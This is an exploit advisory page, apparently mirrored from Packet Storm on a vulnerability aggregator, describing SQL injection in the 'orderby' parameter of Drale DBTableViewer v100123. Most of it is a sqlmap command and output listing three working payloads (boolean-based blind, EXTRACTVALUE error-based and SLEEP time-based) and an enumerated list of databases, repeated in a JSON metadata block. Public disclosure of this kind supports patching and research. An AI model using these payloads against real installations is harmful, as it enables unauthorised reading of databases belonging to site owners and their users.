Search...

Drale DBTableViewer 100123 Blind SQL Injection

2016-06-08T00:00:00

ID PACKETSTORM:137380
Type packetstorm
Reporter HaHwul
Modified 2016-06-08T00:00:00

Description

                                        
                                            `Drale DBTableViewer v100123 - Blind SQL Injection  
  
# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)  
# Date: 2016-06-08  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: http://drale.com/  
# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip  
# Version: Drale DBTableViewer v100123  
# Tested on: Debian [wheezy]  
# CVE : none  
  
### VULNERABILITY  
"orderby" parameter in DBTableViewer is vulnerable.  
This parameter can be performed using blind injection.  
  
### SQLMAP QUERY  
#&gt; sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql  
  
### SQLMAP OUTPUT  
sqlmap identified the following injection points with a total of 727 HTTP(s) requests:  
---  
Parameter: orderby (GET)  
Type: boolean-based blind  
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)  
Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC  
  
Type: error-based  
Title: MySQL &gt;= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)  
Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC  
  
Type: AND/OR time-based blind  
Title: MySQL &gt;= 5.0 time-based blind - Parameter replace  
Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC  
---  
[12:03:24] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu  
web application technology: Apache 2.4.10  
back-end DBMS: MySQL 5.1  
....  
  
[12:07:33] [INFO] retrieved: zoph  
[12:07:33] [INFO] retrieved: zzzz  
available databases [25]:  
[*] "  
[*] ""  
[*] '  
[*] ''  
[*] '''  
[*] api  
[*] blackcat  
[*] edusec  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:137380", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Drale DBTableViewer 100123 Blind SQL Injection", "description": "", "published": "2016-06-08T00:00:00", "modified": "2016-06-08T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/137380/Drale-DBTableViewer-100123-Blind-SQL-Injection.html", "reporter": "HaHwul", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:24:59", "viewCount": 1, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2016-11-03T10:24:59", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:24:59", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://packetstormsecurity.com/files/download/137380/drale-sql.txt", "sourceData": "`Drale DBTableViewer v100123 - Blind SQL Injection \n \n# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base) \n# Date: 2016-06-08 \n# Exploit Author: HaHwul \n# Exploit Author Blog: www.hahwul.com \n# Vendor Homepage: http://drale.com/ \n# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip \n# Version: Drale DBTableViewer v100123 \n# Tested on: Debian [wheezy] \n# CVE : none \n \n### VULNERABILITY \n\"orderby\" parameter in DBTableViewer is vulnerable. \nThis parameter can be performed using blind injection. \n \n### SQLMAP QUERY \n#> sqlm -u \"http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC\" --level 4 --risk 3 --dbms=mysql \n \n### SQLMAP OUTPUT \nsqlmap identified the following injection points with a total of 727 HTTP(s) requests: \n--- \nParameter: orderby (GET) \nType: boolean-based blind \nTitle: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) \nPayload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC \n \nType: error-based \nTitle: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE) \nPayload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC \n \nType: AND/OR time-based blind \nTitle: MySQL >= 5.0 time-based blind - Parameter replace \nPayload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC \n--- \n[12:03:24] [INFO] the back-end DBMS is MySQL \nweb server operating system: Linux Ubuntu \nweb application technology: Apache 2.4.10 \nback-end DBMS: MySQL 5.1 \n.... \n \n[12:07:33] [INFO] retrieved: zoph \n[12:07:33] [INFO] retrieved: zzzz \navailable databases [25]: \n[*] \" \n[*] \"\" \n[*] ' \n[*] '' \n[*] ''' \n[*] api \n[*] blackcat \n[*] edusec \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n`\n"}